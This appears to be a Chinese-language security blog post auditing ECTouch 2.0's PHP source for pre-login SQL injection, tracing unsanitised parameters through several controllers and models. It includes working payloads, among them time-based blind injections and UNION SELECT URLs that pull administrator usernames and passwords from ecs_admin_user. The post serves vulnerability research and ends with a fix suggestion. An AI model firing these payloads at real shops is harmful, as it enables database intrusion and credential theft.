Etouch2.0 分析代码审计流程 (二) 前台SQL注入

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0x1 前言

​拜读了phpoop师傅的审计文章,心情激动w分,急急忙忙写完手头作业,为了弥补上篇的遗憾,趁热继续认真重读了前台代码(之前没认真读需要登陆的控制器),然后幸运的在各个地方找到了几个还算满意的前台注入。阅读此文,强烈建议,食用开篇作Ectouch2.0 分析解读代码审计流程,风味更佳。

 

0x2 介绍下ECTOUCH的相关配置

​ 更多内容可以参考上篇文章Ectouch2.0 分析解读代码审计流程,这里主要针对SQL谈谈。

1. 程序安装默认关闭debug模式,这样子程序不会输出mysql错误

   `/upload/mobile/include/base/drivers/db/EcMysql.class.php`

   ```php
   //输出错误信息
   public function error($message = '', $error = '', $errorno = '') {
       if (DEBUG) { //false
           
           $str = " {$message}<br>
                   <b>SQL</b>: {$this->sql}<br>
                   <b>错误详情</b>: {$error}<br>
                   <b>错误代码</b>:{$errorno}<br>";
       } else {
           $str = "<b>出错</b>: $message<br>";
       }
       throw new Exception($str);
   }
   ```

   所以一般考虑盲注,有回显的注入,要不然过于鸡肋了。

 

0x3 谈谈自己审计这个cms的误区

当时我看前台的时候很容易就可以发现limit后面的注入,因为我之前一直认为limit后面只能使用报错注入,然后就没怎么研究直接跳过了,导致第一次没审计出前台注入,后来我找了下资料,发现自己错了,limit后面也可以进行盲注,不过参考下网上文章这种方法只是适用5.6.6的5.x系列, 为了严谨一点,我本地测试了下,发现的确不行,但是没有去深入了解底层原理,如果有师傅愿意谈谈,实在是我的荣幸,所以说limit后注入是有mysql的版本限制的,所以这里我只分享一个limit后的注入,其他点抛砖引玉。

image-20190103130105383

参考文章:技术分享:Mysql注入点在limit关键字后面的利用方法

分享写tips:

1.可能有些跟我一样的菜鸟还是不理解要去哪里找注入,这里谈谈我的看法。

首先注入需要交互,也就是需要输入,所以要找个接收参数的点,这个时候直接去看控制器无疑是很好的选择,因为这里是功能点,需要用户来交互,当然不排除有其他的地方,ex。

 

0x5 前台 Flow consignee_list limit限制SQL注入

upload/mobile/include/apps/default/controllers/FlowController.class.php

     */
    public function consignee_list() {
        if (IS_AJAX) {
            $start = $_POST ['last']; //可控
            $limit = $_POST ['amount']; //可控
            // 获得用户所有的收货人信息
            $consignee_list = model('Users')->get_consignee_list($_SESSION['user_id'], 0, $limit, $start);//这里传入
            ......................
            die(json_encode($sayList));
            exit();

可控参数如入了Usersmodel类里面,跟进函数:

pload/mobile/include/apps/default/models/UsersModel.class.php

    function get_consignee_list($user_id, $id = 0, $num = 10, $start = 0) {
        if ($id) {
            $where['user_id'] = $user_id;
            $where['address_id'] = $id;
            $this->table = 'user_address';
            return $this->find($where);
        } else {
            $sql = 'select ua.*,u.address_id as adds_id from ' . $this->pre . 'user_address as ua left join '. $this->pre . 'users as u on ua.address_id =u.address_id'. ' where ua.user_id = ' . $user_id . ' order by ua.address_id limit ' . $start . ', ' . $num; //很明显没有单引号,直接拼接进去造成了注入。

            return $this->query($sql);
        }
    }

然后回头看下调用需要满足的条件:

if (IS_AJAX) {

下面介绍下寻找定义的技巧,(ps我以前第一次审计的时候看这东西很懵b,因为没有弄过开发,木有经验。)

IS_AJAX 这种很明显就是宏定义,直接搜索define('IS_AJAX'

image-20190103132448905

    public function __construct() {
        $this->model = model('Base')->model;
        $this->cloud = Cloud::getInstance();
        // 定义当前请求的系统常量
        define('NOW_TIME', $_SERVER ['REQUEST_TIME']);
        define('REQUEST_METHOD', $_SERVER ['REQUEST_METHOD']);
        define('IS_GET', REQUEST_METHOD == 'GET' ? true : false );
        define('IS_POST', REQUEST_METHOD == 'POST' ? true : false );
        define('IS_PUT', REQUEST_METHOD == 'PUT' ? true : false );
        define('IS_DELETE', REQUEST_METHOD == 'DELETE' ? true : false );
        define('IS_AJAX', (isset($_SERVER ['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER ['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')); 
        load_file(ROOT_PATH . 'data/certificate/appkey.php');
    }

控制器基类的构造函数里面定义了:define('IS_AJAX',);

所以利用方式就很简单了,两个可控参数都进去sql了,随便取一个

image-20190103133454000

跟进下执行知道:

$sql=select ua.*,u.address_id as adds_id from ecs_user_address as ua left join ecs_users as u on ua.address_id =u.address_id where ua.user_id = 0 order by ua.address_id limit 1,

然后直接进入查询

return $this->query($sql);

所以可以构造payload:

last=1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)#

关于其他limit点,在介绍一些我的skills:

通过搜索正则 limit ' .(.*)$numlimit.:

Searching 48 files for "limit ' .(.*)$num" (regex)

这些重复的点再分析就很没有意思了,但是limit后注入这个系统很多,你们可以跟着文章去学习找找有趣的点。

 

0x6 前台 Flow done $order [‘shipping_id’]半无限制SQL注入

​ 这个点不像前面那种那么明显可以看出来,这可能就考验我们的耐心去读代码了,这里谈谈我的skills

直接正则匹配出sql的语句一条条的读,然后回溯排除。

​ 下面开始回到漏洞分析上:

FlowController.class.php

        if (isset($is_real_good)) {
            $res = $this->model->table('shipping')->field('shipping_id')->where("shipping_id=" . $order ['shipping_id'] . " AND enabled =1")->getOne();
            if (!$res) {
                show_message(L('flow_no_shipping'));
            }
        }

这里可以看到以字符串形式变量拼接到了where方法里面(字符串拼接及其容易导致SQL注入)

那么我们可以直接回溯前文看下$order是否可控:

lines 1094

        $order = array(
            'shipping_id' => I('post.shipping'),//这里可控
            ......................
        );

然后我们看下需要满足什么条件才能执行到漏洞点处:

简单例子分析下:

    public function done() {
        /* 取得购物类型 */
        $flow_type = isset($_SESSION ['flow_type']) ? intval($_SESSION ['flow_type']) : CART_GENERAL_GOODS;
        /* 检查购物车中是否有商品 */
        $condition = " session_id = '" . SESS_ID . "' " . "AND parent_id = 0 AND is_gift = 0 AND rec_type = '$flow_type'";
        $count = $this->model->table('cart')->field('COUNT(*)')->where($condition)->getOne();
        if ($count == 0) {
            show_message(L('no_goods_in_cart'), '', '', 'warning'); //处理下这里
        }
        /* 如果使用库存,且下订单时减库存,则减少库存 */
        if (C('use_storage') == '1' && C('stock_dec_time') == SDT_PLACE) {
            $cart_goods_stock = model('Order')->get_cart_goods();
            $_cart_goods_stock = array();
            foreach ($cart_goods_stock ['goods_list'] as $value) {
                $_cart_goods_stock [$value ['rec_id']] = $value ['goods_number'];
            }
            model('Flow')->flow_cart_stock($_cart_goods_stock);
            unset($cart_goods_stock, $_cart_goods_stock);
        }
        // 检查用户是否已经登录 如果用户已经登录了则检查是否有默认的收货地址 如果没有登录则跳转到登录和注册页面
        if (empty($_SESSION ['direct_shopping']) && $_SESSION ['user_id'] == 0) {
            /* 用户没有登录且没有选定匿名购物,转向到登录页面 */
            ecs_header("Location: " . url('user/login') . "n"); //这里要处理
        }

主要是处理下

这些跳转停止代码执行的语句

ecs_header("Location: " . url('user/login') . "n");

需要用户登陆

if (empty($_SESSION ['direct_shopping']) && $_SESSION ['user_id'] == 0) {

后面一些判断条件依次满足就行了,这些都很简单,读读代码,就行了。

你也可以看我怎么利用然后返回去分析代码:

http://127.0.0.1:8888/ecshop/upload/mobile/?m=default&c=flow&a=done

直接访问提示购物车没有商品,那就随便注册个用户然后选个实物商品进去购物车

然后http://127.0.0.1:8888/ecshop/upload/mobile/?m=default&c=flow&a=done

提示填收货地址那么自己填写收货地址

这个时候就满足条件了:

post:shipping=1 and sleep(5)%23

其实这个点还是很有意思的,当时我在想能不能搞个回显注入

        if (isset($is_real_good)) {
            $res = $this->model->table('shipping')->field('shipping_id')->where("shipping_id=" . $order ['shipping_id'] . " AND enabled =1")->getOne();
            if (!$res) { //这里返回了$res
                show_message(L('flow_no_shipping'));
            }
        }

通过debug跟进到sql执行流程可以得到执行的语句是:

$sql=SELECT shipping_id FROM ecs_shipping WHERE shipping_id=1 and sleep(1)%23 AND enabled =1 LIMIT 1

一列,构造下payload:

post:shipping=-1 union select user_name from ecs_admin_user%23

那么得到的$res 就是管理员的用户名了,后面我跟了下(文件内搜索$res) 没有发现有输出

按照代码逻辑命名来讲,这个返回值相当于布尔判断吧,应该是没有输出的,仅仅起到判断的作用,所以这个前台漏洞只能布尔盲注了,这也是我说这个漏洞叫半限制SQL注入的原因。

 

0x7 前台 Category index 多个参数半限制SQL注入

​ 这个点有点遗憾,但是却引起了我的诸多思考。

​ 接下来的分析就不再花大笔墨去讲基础操作,代码分析,希望你能仔细阅读我前面的分析,然后自己去读代码。

upload/mobile/include/apps/default/controllers/CategoryController.class.php

    public function index()
    {
        $this->parameter(); //跟进这里
    private function parameter()
    {
        // 如果分类ID为0,则返回总分类页
        if (empty($this->cat_id)) {
            $this->cat_id = 0;
        }
        // 获得分类的相关信息
        $cat = model('Category')->get_cat_info($this->cat_id);
        $this->keywords();
        $this->assign('show_asynclist', C('show_asynclist'));
        // 初始化分页信息
        $page_size = C('page_size');
        $brand = I('request.brand', 0, 'intval');
        $price_max = I('request.price_max'); //这里外部获取可控变量
        $price_min = I('request.price_min'); //这里外部获取可控变量
        $filter_attr = I('request.filter_attr');
        $this->size = intval($page_size) > 0 ? intval($page_size) : 10;
        $this->page = I('request.page') > 0 ? intval(I('request.page')) : 1;
        $this->type = I('request.type');
        $this->brand = $brand > 0 ? $brand : 0;
        $this->price_max = $price_max > 0 ? $price_max : 0; //利用php弱类型绕过
        $this->price_min = $price_min > 0 ? $price_min : 0;

这里 $price_max = I('request.price_max');->$this->price_max = $price_max > 0 ? $price_max : 0; //利用php弱类型绕过

这个绕过很经典呀 1.0union select == 1 也就是说

$this->price_max$this->price_min变量可以被控制

继续跟进代码,发现:

Lines 75

        $count = model('Category')->category_get_count($this->children, $this->brand, $this->type, $this->price_min, $this->price_max, $this->ext, $this->keywords);//可控变量
        $goodslist = $this->category_get_goods();
        $this->assign('goods_list', $goodslist);
        .....................
        $this->assign('pager', $this->pageShow($count));//注册返回结果到模版

当时我很开心啊,终于来个无限制回显的SQL注入,结果分析下去无果,但是我感觉很有意思。

我们继续跟进model类:

 function category_get_count($children, $brand, $type, $min, $max, $ext, $keyword)
    {

        $where = "g.is_on_sale = 1 AND g.is_alone_sale = 1 AND " . "g.is_delete = 0 ";
        if ($keyword != '') {
            $where .= " AND (( 1 " . $keyword . " ) ) ";
        } else {
            $where .= " AND ($children OR " . model('Goods')->get_extension_goods($children) . ') ';
        }
        ..............
        if ($brand > 0) {
            $where .= "AND g.brand_id = $brand ";//
        }
        if ($min > 0) {
            $where .= " AND g.shop_price >= $min "; //直接拼接变量
        }
        if ($max > 0) { //这里可控
            $where .= " AND g.shop_price <= $max"; //直接拼接变量
        }


        $sql = 'SELECT COUNT(*) as count FROM ' . $this->pre . 'goods AS g ' . ' LEFT JOIN ' . $this->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' . ' LEFT JOIN ' . $this->pre . 'member_price AS mp ' . "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' " . "WHERE $where $ext "; //直接拼接变量
        $res = $this->row($sql);//进入查询
        return $res['count'];
    }

"WHERE $where $ext "; 从这里可以看到100%注入了,那么构造下回显注入罗:

debug出SQL语句,本地MYSQL执行:

SELECT COUNT(*) as count FROM ecs_goods AS g  LEFT JOIN ecs_touch_goods AS xl  ON g.goods_id=xl.goods_id  LEFT JOIN ecs_member_price AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0' WHERE g.is_on_sale = 1 AND g.is_alone_sale = 1 AND g.is_delete = 0  AND (g.cat_id  IN ('0')  OR g.goods_id IN ('') )  AND g.shop_price <= 1

image-20190103154505513

count的话总是会有返回值的,之前那个控制id=-1可以令结果集为空,然后联合注入,这个却不行,

骚操作,但是我们可以这样来绕过:

AND g.shop_price <= 1.0union select password from ecs_admin_user;

然后怎么让他升到第一列,利用order by //这种情况只适合两列或者有最大值的情况。

AND g.shop_price <= 1.0union select password from ecs_admin_user order by count desc limit 1;

这样就可以返回管理员的密码了,哈哈我很开心呀,结果发现,页面没有返回,直接跳转到mysql错误那里去了,

经过分析在下面一行代码又重复调用了那个变量。

输入payload:

http://127.0.0.1:8888/ecshop/upload/mobile/?m=default&c=Category&a=index&price_max=1.0union select password from ecs_admin_user order by count desc limit 1%23

跟进下程序执行:

$count = model('Category')->category_get_count($this->children, $this->brand, $this->type, $this->price_min, $this->price_max, $this->ext, $this->keywords);

执行完这个语句后可以看到:

image-20190103155414694

是正常的,继续走,下一句发现程序mysql错误,停止执行,那么跟进看下原因

 private function category_get_goods()
    {
    ................................
        }
        if ($this->brand > 0) {
            $where .= "AND g.brand_id=$this->brand ";
        }
        if ($this->price_min > 0) {
            $where .= " AND g.shop_price >= $this->price_min ";
        }
        if ($this->price_max > 0) {
            $where .= " AND g.shop_price <= $this->price_max "; //再次拼接这个变量
        }

        $sql = 'SELECT g.goods_id, g.goods_name, g.goods_name_style, g.market_price, g.is_new, g.is_best, g.is_hot, g.shop_price AS org_price, g.last_update,' . "IFNULL(mp.user_price, g.shop_price * '$_SESSION[discount]') AS shop_price, g.promote_price, g.goods_type, g.goods_number, " .
            'g.promote_start_date, g.promote_end_date, g.goods_brief, g.goods_thumb , g.goods_img, xl.sales_volume ' . 'FROM ' . $this->model->pre . 'goods AS g ' . ' LEFT JOIN ' . $this->model->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' . ' LEFT JOIN ' . $this->model->pre . 'member_price AS mp ' . "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' " . "WHERE $where $this->ext ORDER BY $sort $this->order LIMIT $start , $this->size";
        $res = $this->model->query($sql);

这里可以看出来WHERE $where $this->ext 这里又拼接进去查询了,然而这里有11列,那么查询肯定报错(前面是1列),这里我对比了下两个函数的代码,发现他们没有任何差别,所以这里很遗憾没办法进行绕过。

但是这里我衍生下攻击思路:

比如第二个函数里面有第二个参数可控的话,并且在前面,而第一个函数没有的话,那么我们控制第二个函数的那个参数,去注释掉我们第一个函数的第一个参数,不让mysql出错,这样就可以达到回显注入了。

这个点可以说是我感觉比较好玩的点了。

总结来说下:

这个点依然是半限制的盲注,时间盲注是通杀的,但是可以考虑布尔盲注,自己寻找下差异构造就行了。

 

0x8 前台FLOW cart_label_count $goods_id 半限制SQL注入

public function cart_label_count(){
    $goods_id  = I('goods_id',''); //没有intval处理
    $parent_id  = I('parent_id',''); 
    if($parent_id ){
        $shop_price = $this->model->table('goods')->where(array('goods_id'=>$parent_id))->field('shop_price')->getOne();
    }
    if($goods_id) {
        $sql = "select g.shop_price ,gg.goods_price from " . $this->model->pre ."group_goods as gg LEFT JOIN " . $this->model->pre . "goods as g on gg.goods_id = g.goods_id " . "where gg.goods_id in ($goods_id) and gg.parent_id = $parent_id "; //拼接
        $count = $this->model->query($sql);
    }
    $num=0;
    if(count($count)>0){
        foreach($count as $key){
            $count_price += floatval($key['goods_price']);
            $num ++;
        }
    }else{
        $count_price = '0.00';
    }
    if($shop_price){
        $count_price += floatval($shop_price);
        $num += 1;
    }
    $result['content'] = price_format($count_price);
    $result['cart_number'] = $num;
    die(json_encode($result));

where gg.goods_id in ($goods_id) 这里直接拼接了进去导致了注入

 if(count($count)>0){
        foreach($count as $key){
            $count_price += floatval($key['goods_price']);
            $num ++;
        }
    }else{
        $count_price = '0.00';
    }

这里做了个强制转换,导致不能把结果带出来,可以考虑布尔盲注

 

0x9 前台 User $rec_id 多处注入

0x9.1 del_attention() 半限制SQL注入

    public function del_attention() {
        $rec_id = I('get.rec_id', 0); //直接获取
        if ($rec_id) {
            $this->model->table('collect_goods')->data('is_attention = 0')->where('rec_id = ' . $rec_id . ' and user_id = ' . $this->user_id)->update();
        }
        $this->redirect(url('collection_list'));
    }

0x9.2 add_attention() 半限制SQL注入

public function add_attention() {
    $rec_id = I('get.rec_id', 0); //直接获取
    if ($rec_id) {
        $this->model->table('collect_goods')->data('is_attention = 1')->where('rec_id = ' . $rec_id . ' and user_id = ' . $this->user_id)->update();
    }
    $this->redirect(url('collection_list'));
}

0x9.3 aftermarket_done 无限制SQL注入

 public function aftermarket_done() {
        /* 判断是否重复提交申请退换货 */
        $rec_id = empty($_REQUEST['rec_id']) ? '' : $_REQUEST['rec_id']; //控制输入
     ....................................
        if ($rec_id) {
            $num = $this->model->table('order_return')
                    ->field('COUNT(*)')
                    ->where(array('rec_id' => $rec_id))
                    ->getOne();
        } else {
            show_message(L('aftermarket_apply_error'), '', '', 'info', true);
        }
        $goods = model('Order')->order_goods_info($rec_id); /* 订单商品 */ //这里也是注入
        $claim = $this->model->table('service_type')->field('service_name,service_type')->where('service_id = ' . intval(I('post.service_id')))->find(); /* 查询服务类型 */
        $reason = $this->model->table('return_cause')->field('cause_name')->where('cause_id = ' . intval(I('post.reason')))->find(); /* 退换货原因 */
        $order = model('Users')->get_order_detail($order_id, $this->user_id); /* 订单详情 */
        if (($num > 0)) {
            /* 已经添加 查询服务订单 */
            $order_return = $this->model->table('order_return')
                    ->field('ret_id, rec_id, add_time, service_sn, return_status, should_return,is_check,service_id')
                    ->where('rec_id = ' . $rec_id) //拼接变量
                    ->find(); //where注入
            $ret_id = $order_return['ret_id'];
        } else {

$goods = model('Order')->order_goods_info($rec_id); /* 订单商品 */ //这里也是注入

            $order_return = $this->model->table('order_return')
                    ->field('ret_id, rec_id, add_time, service_sn, return_status, should_return,is_check,service_id')
                    ->where('rec_id = ' . $rec_id) //拼接变量
                    ->find(); //where注入
            $ret_id = $order_return['ret_id'];

这个注入需要条件比较多,自己跟下代码就好了。

你们可以继续分析下:

public function check_aftermarket($rec_id) //OrderModel.class.php:

function order_goods_info($rec_id)//OrderModel.class.php

function aftermarket_goods($rec_id) //OrderModel.class.php

function get_cert_img($rec_id)//OrderModel.class.php

public function check_aftermarket($rec_id)//UsersModel.class.php

里面都是直接拼接,可以全局搜索下调用地方,如果没有intval那么就是注入点了,我当时看了下没什么发现

 

0x10 (0day?)前台多处无条件无限制完美SQL注入

这个无限制注入的挖掘过程,还是耐心吧,找调用,找返回。

0x10.1 Exchange asynclist_list $integral_max $integral_min无限制注入

直接看payload:

http://127.0.0.1:8888/ecshop/upload/mobile/index.php?c=Exchange&a=asynclist_list&integral_max=1.0union select 1,password,3,password,5,user_name,7,8,9,10,11 from ecs_admin_user order by goods_id asc%23

image-20190103164657060

分析一波:

upload/mobile/include/apps/default/controllers/ExchangeController.class.php

    public function asynclist_list() {
        $this->parameter();//跟进这里
        $asyn_last = intval(I('post.last')) + 1;
        $this->page = I('post.page');
        $list = model('Exchange')->exchange_get_goods($this->children, $this->integral_min, $this->integral_max, $this->ext, $this->size,
        $this->page, $this->sort, $this->order);
        die(json_encode(array('list' => $list))); //这个die好东西,直接输出结果了
        exit();
    }

这里需要跟进二个函数:

1.$this->parameter(); 作用获取:

$this->children, $this->integral_min, $this->integral_max

2.model('Exchange')->exchange_get_goods 作用拼接造成sql

分析1

    private function parameter() {
        // 如果分类ID为0,则返回总分类页
        $page_size = C('page_size');
        $this->size = intval($page_size) > 0 ? intval($page_size) : 10;
        $this->page = I('request.page') ? intval(I('request.page')) : 1;
        $this->ext = '';
        $this->cat_id = I('request.cat_id');
        $this->integral_max = I('request.integral_max');//获取
        $this->integral_min = I('request.integral_min');//

分析2

function exchange_get_goods($children, $min, $max, $ext, $size, $page, $sort, $order) {
        $display = $GLOBALS['display'];
        $where = "eg.is_exchange = 1 AND g.is_delete = 0 AND " .
                "($children OR " . model('Goods')->get_extension_goods($children) . ')';

        if ($min > 0) {
            $where .= " AND eg.exchange_integral >= $min ";
        }

        if ($max > 0) {
            $where .= " AND eg.exchange_integral <= $max ";//直接拼接导致注入
        }

        /* 获得商品列表 */
        $start = ($page - 1) * $size;
        $sort = $sort == 'sales_volume' ? 'xl.sales_volume' : $sort;
        $sql = 'SELECT g.goods_id, g.goods_name, g.market_price, g.goods_name_style,g.click_count, eg.exchange_integral, ' .
                'g.goods_type, g.goods_brief, g.goods_thumb , g.goods_img, eg.is_hot ' .
                'FROM ' . $this->pre . 'exchange_goods AS eg LEFT JOIN  ' . $this->pre . 'goods AS g ' .
                'ON  eg.goods_id = g.goods_id ' . ' LEFT JOIN ' . $this->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' .
                " WHERE $where $ext ORDER BY $sort $order LIMIT $start ,$size ";//拼接
        $res = $this->query($sql);

关于利用怎么返回注入内容参考我前面说的,payload用了order by排序来绕过,你们可以参考本文去debug,

因为写到这里,我觉得不再必要去细细再讲一次,你们动手debug可能会更好。

    public function asynclist()
    {
        $this->parameter();
        $this->assign('show_marketprice', C('show_marketprice'));
        $asyn_last = intval(I('post.last')) + 1;
        $this->size = I('post.amount');
        $this->page = ($asyn_last > 0) ? ceil($asyn_last / $this->size) : 1;
        $goodslist = $this->category_get_goods();
        foreach ($goodslist as $key => $goods) {
            $this->assign('goods', $goods);
            $sayList[] = array(
                'single_item' => ECTouch::view()->fetch('library/asynclist_info.lbi')
            );
        }
        die(json_encode($sayList));
        exit();
    }

    /**
     * 异步加载商品列表
     */
    public function async_list()
    {
        $this->parameter();
        $this->assign('show_marketprice', C('show_marketprice'));
        $this->page = I('post.page');
        $goodslist = $this->category_get_goods();
        die(json_encode(array('list' => $goodslist)));
        exit();
    }

0x10.2 category asynclist price_max无限制注入

Payload:http://127.0.0.1:8888/ecshop/upload/mobile/index.php?c=category&a=asynclist&price_max=1.0union select 1,user_name,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ecs_admin_user order by goods_id asc limit 1%23

image-20190103173239345

    public function asynclist()
    {
        $this->parameter();
        $this->assign('show_marketprice', C('show_marketprice'));
        $asyn_last = intval(I('post.last')) + 1;
        $this->size = I('post.amount');
        $this->page = ($asyn_last > 0) ? ceil($asyn_last / $this->size) : 1;
        $goodslist = $this->category_get_goods(); //注入
        foreach ($goodslist as $key => $goods) {
            $this->assign('goods', $goods);
            $sayList[] = array(
                'single_item' => ECTouch::view()->fetch('library/asynclist_info.lbi')
            );
        }
        die(json_encode($sayList));
        exit();
    }

0x10.3 category async_list $price_max无限制注入

Payload:

http://127.0.0.1:8888/ecshop/upload/mobile/index.php?c=category&a=async_list&price_max=1.0union select 1,user_name,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ecs_admin_user order by goods_id asc limit 1%23


    public function async_list()
    {
        $this->parameter();
        $this->assign('show_marketprice', C('show_marketprice'));
        $this->page = I('post.page');
        $goodslist = $this->category_get_goods();
        die(json_encode(array('list' => $goodslist)));
        exit();
    }

还有好几处我就不想继续去分析了,你们可以继续去寻找看看,寻找方法看我总结搜索即可。

总结下这几个注入:

原因1:$max $min这些相关的值没有intval处理,可以利用php弱类型绕过,其他点用intval处理了。神奇+1

原因2:直接拼接变量

(1)ActivityModel.class.php

function category_get_count($children, $brand, $goods, $min, $max, $ext)

function category_get_goods

(2CategoryModel.class.php

function category_get_count

function get_category_recommend_goods

(3)ExchangeModel.class.php

function exchange_get_goods

function get_exchange_goods_count

修复建议:可控变量intval处理

 

0x11 代码审计SQL注入总结

SQL注入没什么总结的,寻找可控,跟踪变量,sql注入三部曲。

但是这次审计改变了我很多看法,以前我总是觉得,有了全局过滤,那么注入应该比较少了,所以我第一次就是抱着这样消极的想法,所以没审计出漏洞,但是后来我听说phpoop师傅也审计过这个cms的前台注入,我一下子干劲就上来了,认真读了代码,果然收获颇丰。

最后介绍下ECTOUCH2.0还可寻找注入漏洞的点,关注下处理变量的函数。

  154:         $json = new EcsJson;
  155:         $goods = $json->decode($_POST ['goods']);

比如这些,我当时简单读了下

    function decode($text, $type = 0) { // 榛樿?type=0杩斿洖obj,type=1杩斿洖array
        if (empty($text)) {
            return '';
        } elseif (!is_string($text)) {
            return false;
        }

        if (EC_CHARSET === 'utf-8' && function_exists('json_decode')) {
            return addslashes_deep_obj(json_decode(stripslashes($text), $type));
        }

        $this->at = 0;
        $this->ch = '';
        $this->text = strtr(stripslashes($text), array(
            "r" => '', "n" => '', "t" => '', "b" => '',
            "x00" => '', "x01" => '', "x02" => '', "x03" => '',
            "x04" => '', "x05" => '', "x06" => '', "x07" => '',
            "x08" => '', "x0b" => '', "x0c" => '', "x0e" => '',
            "x0f" => '', "x10" => '', "x11" => '', "x12" => '',
            "x13" => '', "x14" => '', "x15" => '', "x16" => '',
            "x17" => '', "x18" => '', "x19" => '', "x1a" => '',
            "x1b" => '', "x1c" => '', "x1d" => '', "x1e" => '',
            "x1f" => ''
        ));

        $this->next();
        $return = $this->val();

        $result = empty($type) ? $return : $this->object_to_array($return);

        return addslashes_deep_obj($result);
    }

也是做了过滤,可以考虑下组合之类的,这可能是我进阶代码审计需要学习的了。

 

0x12 感受

从第一次审计没有收获到第二次收获满满的注入点,我感觉到了php代码审计的极大魅力。接下来,因为注入我觉得基本饱和了,所以不打算对注入再进行其他分析啥的,但是我会继续审计其他漏洞,比如xss,逻辑漏洞,xxe(考完试就写这个),这些漏洞我也不知道存不存在,但是我还是会把过程记录下来供你们参考(ps:希望大佬不要介意小菜的垃圾见解,希望大佬多多指点),最后希望回首的时候,这些续集文章能见证我的php代码审计成长之路,come on!

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